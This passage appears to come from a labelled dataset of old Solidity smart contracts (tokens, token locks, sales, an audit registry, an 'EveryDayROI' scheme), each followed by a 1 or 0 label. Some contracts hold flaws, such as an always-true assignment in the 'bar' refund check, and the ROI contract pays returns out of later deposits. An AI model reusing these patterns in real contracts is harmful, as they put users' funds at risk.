function Operational(address _operator) public { operator = _operator; } modifier onlyOperator() { require(msg.sender == operator); _; } function transferOperator(address newOperator) public onlyOwner { require(newOperator != address(0)); operator = newOperator; } } contract Frozenable is Operational, StandardBurnableToken, ReentrancyGuard { struct FrozenBalance { address owner; uint256 value; uint256 unfreezeTime; } mapping (uint => FrozenBalance) public frozenBalances; uint public frozenBalanceCount; uint256 mulDecimals = 100000000; event SystemFreeze(address indexed owner, uint256 value, uint256 unfreezeTime); event Unfreeze(address indexed owner, uint256 value, uint256 unfreezeTime); event TransferSystemFreeze(address indexed owner, uint256 value, uint256 time); function Frozenable(address _operator) Operational(_operator) public {} function systemFreeze(uint256 _value, uint256 _unfreezeTime) internal { balances[owner] = balances[owner].sub(_value); frozenBalances[frozenBalanceCount] = FrozenBalance({owner: owner, value: _value, unfreezeTime: _unfreezeTime}); frozenBalanceCount++; SystemFreeze(owner, _value, _unfreezeTime); } function frozenBalanceOf(address _owner) public constant returns (uint256 value) { for (uint i = 0; i < frozenBalanceCount; i++) { FrozenBalance storage frozenBalance = frozenBalances[i]; if (_owner == frozenBalance.owner) { value = value.add(frozenBalance.value); } } return value; } function unfreeze() public returns (uint256 releaseAmount) { uint index = 0; while (index < frozenBalanceCount) { if (now >= frozenBalances[index].unfreezeTime) { releaseAmount += frozenBalances[index].value; unfreezeBalanceByIndex(index); } else { index++; } } return releaseAmount; } function unfreezeBalanceByIndex(uint index) internal { FrozenBalance storage frozenBalance = frozenBalances[index]; balances[frozenBalance.owner] = balances[frozenBalance.owner].add(frozenBalance.value); Unfreeze(frozenBalance.owner, frozenBalance.value, frozenBalance.unfreezeTime); frozenBalances[index] = frozenBalances[frozenBalanceCount - 1]; delete frozenBalances[frozenBalanceCount - 1]; frozenBalanceCount--; } function transferSystemFreeze() internal { uint256 totalTransferSysFreezeAmount = 0; for (uint i = 0; i < frozenBalanceCount; i++) { frozenBalances[i].owner = owner; totalTransferSysFreezeAmount += frozenBalances[i].value; } TransferSystemFreeze(owner, totalTransferSysFreezeAmount, now); } } contract Releaseable is Frozenable { using SafeMath for uint; using DateTime for uint256; uint256 public createTime; uint256 public standardReleaseAmount = mulDecimals.mul(1024000); uint256 public releaseAmountPerDay = mulDecimals.mul(1024000); uint256 public releasedSupply = 0; event Release(address indexed receiver, uint256 value, uint256 sysAmount, uint256 releaseTime); struct ReleaseRecord { uint256 amount; uint256 releaseTime; } mapping (uint => ReleaseRecord) public releaseRecords; uint public releaseRecordsCount = 0; function Releaseable( address _operator, uint256 _initialSupply ) Frozenable(_operator) public { createTime = 1514563200; releasedSupply = _initialSupply; balances[owner] = _initialSupply; totalSupply = mulDecimals.mul(369280000); } function release(uint256 timestamp, uint256 sysAmount) public onlyOperator returns(uint256 _actualRelease) { require(timestamp >= createTime && timestamp <= now); require(!checkIsReleaseRecordExist(timestamp)); updateReleaseAmount(timestamp); require(sysAmount <= releaseAmountPerDay.mul(4).div(5)); require(totalSupply >= releasedSupply.add(releaseAmountPerDay)); balances[owner] = balances[owner].add(releaseAmountPerDay); releasedSupply = releasedSupply.add(releaseAmountPerDay); releaseRecords[releaseRecordsCount] = ReleaseRecord(releaseAmountPerDay, timestamp); releaseRecordsCount++; Release(owner, releaseAmountPerDay, sysAmount, timestamp); systemFreeze(sysAmount.div(5), timestamp.add(180 days)); systemFreeze(sysAmount.mul(7).div(10), timestamp.add(70 years)); return releaseAmountPerDay; } function checkIsReleaseRecordExist(uint256 timestamp) internal view returns(bool _exist) { bool exist = false; if (releaseRecordsCount > 0) { for (uint index = 0; index < releaseRecordsCount; index++) { if ((releaseRecords[index].releaseTime.parseTimestamp().year == timestamp.parseTimestamp().year) && (releaseRecords[index].releaseTime.parseTimestamp().month == timestamp.parseTimestamp().month) && (releaseRecords[index].releaseTime.parseTimestamp().day == timestamp.parseTimestamp().day)) { exist = true; } } } return exist; } function updateReleaseAmount(uint256 timestamp) internal { uint256 timeElapse = timestamp.sub(createTime); uint256 cycles = timeElapse.div(180 days); if (cycles > 0) { if (cycles <= 10) { releaseAmountPerDay = standardReleaseAmount; for (uint index = 0; index < cycles; index++) { releaseAmountPerDay = releaseAmountPerDay.div(2); } } else { releaseAmountPerDay = 0; } } } function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); transferSystemFreeze(); } } contract CoinHot is Releaseable { string public standard = '2018011603'; string public name = 'CoinHot'; string public symbol = 'CHT'; uint8 public decimals = 8; function CoinHot( address _operator, uint256 _initialSupply ) Releaseable(_operator, _initialSupply) public {} }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x01e043534d7aE06924c9c3C5cB3fc22424d57096; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library DS { struct Proof { uint level; uint insertedBlock; bytes32 ipfsHash; address auditedBy; } } contract Audit { event AttachedEvidence(address indexed auditorAddr, bytes32 indexed codeHash, bytes32 ipfsHash); event NewAudit(address indexed auditorAddr, bytes32 indexed codeHash); mapping (address => mapping (bytes32 => DS.Proof)) public auditedContracts; mapping (address => bytes32[]) public auditorContracts; function isVerifiedAddress(address _auditorAddr, address _contractAddr) public view returns(uint) { bytes32 codeHash = getCodeHash(_contractAddr); return auditedContracts[_auditorAddr][codeHash].level; } function isVerifiedCode(address _auditorAddr, bytes32 _codeHash) public view returns(uint) { return auditedContracts[_auditorAddr][_codeHash].level; } function getCodeHash(address _contractAddr) public view returns(bytes32) { return keccak256(codeAt(_contractAddr)); } function addAudit(bytes32 _codeHash, uint _level, bytes32 _ipfsHash) public { address auditor = msg.sender; require(auditedContracts[auditor][_codeHash].insertedBlock == 0); auditedContracts[auditor][_codeHash] = DS.Proof({ level: _level, auditedBy: auditor, insertedBlock: block.number, ipfsHash: _ipfsHash }); auditorContracts[auditor].push(_codeHash); emit NewAudit(auditor, _codeHash); } function addEvidence(bytes32 _codeHash, uint _newLevel, bytes32 _ipfsHash) public { address auditor = msg.sender; require(auditedContracts[auditor][_codeHash].insertedBlock != 0); if (auditedContracts[auditor][_codeHash].level != _newLevel) auditedContracts[auditor][_codeHash].level = _newLevel; emit AttachedEvidence(auditor, _codeHash, _ipfsHash); } function codeAt(address _addr) public view returns (bytes code) { assembly { let size := extcodesize(_addr) code := mload(0x40) mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(code, size) extcodecopy(_addr, add(code, 0x20), 0, size) } } } contract MonteLabsMS { mapping (address => bool) public owners; uint8 constant quorum = 2; Audit public auditContract; constructor(address[] _owners, Audit _auditContract) public { auditContract = _auditContract; require(_owners.length == 3); for (uint i = 0; i < _owners.length; ++i) { owners[_owners[i]] = true; } } function addAuditOrEvidence(bool audit, bytes32 _codeHash, uint _level, bytes32 _ipfsHash, uint8 _v, bytes32 _r, bytes32 _s) internal { address sender = msg.sender; require(owners[sender]); bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", keccak256(audit, _codeHash, _level, _ipfsHash)); address other = ecrecover(prefixedHash, _v, _r, _s); assert(other != sender); if (audit) auditContract.addAudit(_codeHash, _level, _ipfsHash); else auditContract.addEvidence(_codeHash, _level, _ipfsHash); } function addAudit(bytes32 _codeHash, uint _level, bytes32 _ipfsHash, uint8 _v, bytes32 _r, bytes32 _s) public { addAuditOrEvidence(true, _codeHash, _level, _ipfsHash, _v, _r, _s); } function addEvidence(bytes32 _codeHash, uint _version, bytes32 _ipfsHash, uint8 _v, bytes32 _r, bytes32 _s) public { addAuditOrEvidence(false, _codeHash, _version, _ipfsHash, _v, _r, _s); } }
1
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ArcticCoreToken is Ownable { string public constant name = "ArcticCoreToken"; string public constant symbol = "ARC1"; uint8 public constant decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Mint(address indexed to, uint256 amount); event MintingFinished(); event Burn(uint256 amount); uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) public balances; function transfer(address _to, uint256 _value) public whenMintingFinished returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public whenMintingFinished returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenMintingFinished returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } bool public mintingFinished = false; address public destroyer; address public minter; modifier canMint() { require(!mintingFinished); _; } modifier whenMintingFinished() { require(mintingFinished); _; } modifier onlyMinter() { require(msg.sender == minter); _; } function setMinter(address _minter) external onlyOwner { minter = _minter; } function mint(address _to, uint256 _amount) external onlyMinter canMint returns (bool) { require(balances[_to] + _amount > balances[_to]); require(totalSupply + _amount > totalSupply); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() external onlyMinter returns (bool) { mintingFinished = true; MintingFinished(); return true; } modifier onlyDestroyer() { require(msg.sender == destroyer); _; } function setDestroyer(address _destroyer) external onlyOwner { destroyer = _destroyer; } function burn(uint256 _amount) external onlyDestroyer { require(balances[destroyer] >= _amount && _amount > 0); balances[destroyer] = balances[destroyer].sub(_amount); totalSupply = totalSupply.sub(_amount); Burn(_amount); } }
1
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed burner, uint indexed value); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract GeniusEther is MintableToken { string public constant name = "Bar Coin2"; string public constant symbol = "BarCoin2"; uint32 public constant decimals = 18; } contract bar is GeniusEther { using SafeMath for uint; address multisig; GeniusEther public token = new GeniusEther(); uint start; uint stop; uint period; uint hardcap; uint softcap; bool breco; function bar() { multisig = 0x2c9660f30B65dbBfd6540d252f6Fa07B5854a40f; start = 1523185200; stop = 1523186700; hardcap = 0.1 ether; softcap = 0.005 ether; breco =false; } modifier saleIsOn() { require(now >= start && now < stop); _; } modifier isUnderHardCap() { require(this.balance <= hardcap); _; } function finish() public onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(30).div(70); if (now >= stop && this.balance>softcap) { token.mint(multisig, restrictedTokens); token.finishMinting(); multisig.transfer(this.balance); } if (now >= stop && this.balance<=softcap) { breco=true; } } function Reco() { uint256 bal; if (breco=true) { bal= token.balanceOf(msg.sender); token.burn(bal); msg.sender.transfer(bal); } } function createTokens() isUnderHardCap saleIsOn payable { if (msg.value< 0.0001 ether) { msg.sender.transfer(msg.value); } else { token.mint(msg.sender, msg.value); } } function() external payable { if (now >= start && now <= stop) {createTokens(); } if (now < start) {msg.sender.transfer(msg.value);} if (now > stop && breco==true) {Reco();} } }
0
pragma solidity ^0.4.24; interface token { function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); } contract Sale { address private maintoken = 0x2054a15c6822a722378d13c4e4ea85365e46e50b; address private owner = 0xabc45921642cbe058555361490f49b6321ed6989; address private owner8 = 0x8610a40e51454a5bbc6fc3d31874595d7b2cb8f0; uint256 private sendtoken; uint256 public cost1token = 0.0004 ether; uint256 private ethersum; uint256 private ethersum8; token public tokenReward; function Sale() public { tokenReward = token(maintoken); } function() external payable { sendtoken = (msg.value)/cost1token; if (msg.value >= 5 ether) { sendtoken = (msg.value)/cost1token; sendtoken = sendtoken*125/100; } if (msg.value >= 10 ether) { sendtoken = (msg.value)/cost1token; sendtoken = sendtoken*150/100; } if (msg.value >= 15 ether) { sendtoken = (msg.value)/cost1token; sendtoken = sendtoken*175/100; } if (msg.value >= 20 ether) { sendtoken = (msg.value)/cost1token; sendtoken = sendtoken*200/100; } tokenReward.transferFrom(owner, msg.sender, sendtoken); ethersum8 = (msg.value)*8/100; ethersum = (msg.value)-ethersum8; owner8.transfer(ethersum8); owner.transfer(ethersum); } }
0
pragma solidity ^0.4.23; contract CoinCj { address public admin_address = 0x587b13913F4c708A4F033318056E4b6BA956A6F5; address public account_address = 0xf988dC2F225C64CcdeA064Dad60DD4A95776f483; mapping(address => uint256) balances; string public name = "chuangjiu"; string public symbol = "CJ"; uint8 public decimals = 18; uint256 initSupply = 100000000; uint256 public totalSupply = 0; constructor() payable public { totalSupply = mul(initSupply, 10**uint256(decimals)); balances[account_address] = totalSupply; } function balanceOf( address _addr ) public view returns ( uint ) { return balances[_addr]; } event Transfer( address indexed from, address indexed to, uint256 value ); function transfer( address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = sub(balances[msg.sender],_value); balances[_to] = add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } mapping (address => mapping (address => uint256)) internal allowed; event Approval( address indexed owner, address indexed spender, uint256 value ); function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = sub(balances[_from], _value); balances[_to] = add(balances[_to], _value); allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } bool public direct_drop_switch = true; uint256 public direct_drop_rate = 1000; address public direct_drop_address = 0x587b13913F4c708A4F033318056E4b6BA956A6F5; address public direct_drop_withdraw_address = 0x587b13913F4c708A4F033318056E4b6BA956A6F5; bool public direct_drop_range = false; uint256 public direct_drop_range_start = 1549219320; uint256 public direct_drop_range_end = 1580755320; event TokenPurchase ( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); function buyTokens( address _beneficiary ) public payable returns (bool) { require(direct_drop_switch); require(_beneficiary != address(0)); if( direct_drop_range ) { require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end); } uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18); uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount); require ( balances[direct_drop_address] >= decimalsAmount ); assert ( decimalsAmount > 0 ); uint256 all = add(balances[direct_drop_address], balances[_beneficiary]); balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount); balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount); assert ( all == add(balances[direct_drop_address], balances[_beneficiary]) ); emit TokenPurchase ( msg.sender, _beneficiary, msg.value, tokenAmount ); return true; } event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = sub(balances[_who], _value); totalSupply = sub(totalSupply, _value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } modifier admin_only() { require(msg.sender==admin_address); _; } function setAdmin( address new_admin_address ) public admin_only returns (bool) { require(new_admin_address != address(0)); admin_address = new_admin_address; return true; } function setDirectDrop( bool status ) public admin_only returns (bool) { direct_drop_switch = status; return true; } function withDraw() public { require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address); require(address(this).balance > 0); direct_drop_withdraw_address.transfer(address(this).balance); } function () external payable { buyTokens(msg.sender); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.24; contract EveryDayROI{ using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public minimum = 10000000000000000; uint256 public step = 100; address public ownerWallet; address public owner; address public bountyManager; address promoter = 0x630198f7a7ba302dcb3595a82f60930d83747ef7; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address _bountyManager) public { owner = msg.sender; ownerWallet = msg.sender; bountyManager = _bountyManager; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyBountyManager() { require(msg.sender == bountyManager); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () external payable { require(msg.value >= minimum); if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.div(100).mul(5)); promoter.transfer(msg.value.div(100).mul(5)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public { referrer[_hunter] = referrer[_hunter].add(_amount); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x70D2882bEFf26F00c8a4a086804C3111d127B219; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.12; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); 